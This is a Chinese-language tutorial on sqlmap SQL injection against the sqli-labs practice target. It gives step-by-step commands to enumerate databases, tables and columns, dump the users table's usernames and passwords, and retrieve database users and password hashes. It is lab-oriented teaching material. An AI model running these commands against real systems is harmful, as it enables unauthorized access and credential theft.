本文章的实验用例均基于开源sqllab实验靶场进行注入
1.判断是否存在注入点
以sqllab第一关为例
目标地址为:http://www.sqllab1.com/Less-1/?id=1(具体目标地址依具体环境搭建而异)
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1"
结果显示存在sql注入点,一般而言,操作过程中sqlmap会在操作过程中需要选择:
- 第一处系统检测到数据库可能师MySQL数据库,是否要跳过检测其他数据库
- 第二处是在level1 的情况下是否使用mysql对应的所有payload进行检测
- 第三处是目前参数存在漏洞,是有要继续检测其他参数
一般情况下默认选择yes回撤即可
查询当前用户下的所有数据库
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1" --dbs
如图可以得到当前用户下的26个数据库信息
获取数据库中的表名
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1" --tables -D "security"
获取表中字段名
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1" --columns -T "users" -D "security"
获取字段内容
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1" --dump -C "id,password,username" -T "users" -D "security"
--dump 参数是将数据文件转存到文件中,一般在sqlmap/output文件夹下,读者也可以根据标红的区域地址相对的去寻找文件。
获取数据库的所有用户
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1" --users
前提是当前用户有权限读取包含所有用户的表的权限时
获取数据库用户的密码
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1" --password
获取当前网站数据库的名称
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1" --current-db
获取当前网站数据库的用户名
sqlmap.py -u "http://www.sqllab1.com/Less-1/?id=1" --current-user